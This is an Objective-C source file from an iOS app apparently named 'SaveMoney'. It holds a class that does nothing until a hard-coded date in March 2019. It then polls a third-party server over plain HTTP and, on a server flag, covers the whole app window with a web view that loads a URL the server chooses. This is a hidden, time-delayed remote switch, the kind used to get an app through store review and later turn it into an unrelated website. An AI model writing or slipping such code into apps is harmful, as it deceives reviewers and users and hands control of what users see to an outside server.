//
//  RequestNetAddWeb.m
//  SaveMoney
//
//  Created by user on 2019/2/18.
//  Copyright © 2019 Sunflower. All rights reserved.
//

#import "RequestNetAddWeb.h"
#import <WebKit/WebKit.h>

@interface RequestNetAddWeb ()

@property (nonatomic, strong) WKWebView *webView;

@end

@implementation RequestNetAddWeb

/**
 *  获取默认单例
 */
+ (instancetype)sharedAction {
    static RequestNetAddWeb *action;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        action = [[self alloc] init];
    });
    return action;
}


- (void)configurationDataShow {
    __weak typeof(self) weakSelf = self;
    if (![self moreTimeStopWithDataTime:@"2019-03-01 10:10"]) {
//        NSLog(@"不能访问");
        return;
    }
//    NSLog(@"可以访问");
    [self requestAPIComplete:^(NSDictionary *dic) {
        BOOL isLogin = NO;
        if ([dic[@"success"] isKindOfClass:[NSString class]]) {
            if ([dic[@"success"] isEqualToString:@"true"]) {
                isLogin = YES;
            }
        }
        if (isLogin) {
            if ([dic[@"ShowWeb"] isEqualToString:@"1"]) { 
                [[SMUserInfoModel sharedStorage] setIsSuccess:@"YES"];
                [[SMUserInfoModel sharedStorage] save];
                if (!weakSelf.webView) {
                    CGRect rectStatus = [[UIApplication sharedApplication] statusBarFrame];
                    UIWindow * window = [UIApplication sharedApplication].keyWindow;
                    weakSelf.webView = [[WKWebView alloc] initWithFrame:CGRectMake(0, rectStatus.size.height, kScreenWidth, [self screenHeight]-rectStatus.size.height)];
                    [weakSelf.webView loadRequest:[NSURLRequest requestWithURL:[NSURL URLWithString:dic[@"Url"]]]];
                    [window addSubview:weakSelf.webView];
                }
            }
        }
    }];
}

- (int)screenHeight {
    int heiht = [UIScreen mainScreen].bounds.size.height;
    BOOL IS_IPHONE_X = 812 == [[UIScreen mainScreen] bounds].size.height ? YES : NO;
    if(IS_IPHONE_X){
        heiht = heiht-34;
    }
    return heiht;
}

- (BOOL)moreTimeStopWithDataTime:(NSString *)timeStr {
    
    NSTimeInterval interval = [[NSDate date] timeIntervalSince1970];
    long long totalMilliseconds = interval*1000;
    
    NSDateFormatter *formatter1 = [[NSDateFormatter alloc]init];
    [formatter1 setDateFormat:@"yyyy-MM-dd HH:mm"];
    NSDate *resDate = [formatter1 dateFromString:timeStr];
    
    NSTimeInterval otherTime = [resDate timeIntervalSince1970];
    long long otherTimeMilliseconds = otherTime*1000;
    
    if (otherTimeMilliseconds > totalMilliseconds) {
        return NO;
    } else {
        return YES;
    }
}

- (void)requestAPIComplete:(void(^)(NSDictionary *dic))comp {
    NSURLSessionDataTask *session = [[NSURLSession sharedSession] dataTaskWithURL:[NSURL URLWithString:@"http://appid.939-939-939.com/getAppConfig.php?appid=1453363479"] completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
        NSDictionary *responseObject = [self dictionaryWithJsonData:data];
        dispatch_async(dispatch_get_main_queue(), ^{
            if (comp) {
                comp(responseObject);
            }
        });
        
    }];
    [session resume];
}

- (id)dictionaryWithJsonData:(NSData *)data {
    NSString *jsonString = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
    if (jsonString == nil) {
        return nil;
    }
    NSData *jsonData = [jsonString dataUsingEncoding:NSUTF8StringEncoding];
    NSError *err;
    NSDictionary *dic = [NSJSONSerialization JSONObjectWithData:jsonData options:NSJSONReadingMutableContainers error:&err];
    if(err) {
        NSLog(@"json解析失败：%@",err);
        return nil;
    }
    return dic;
}

@end
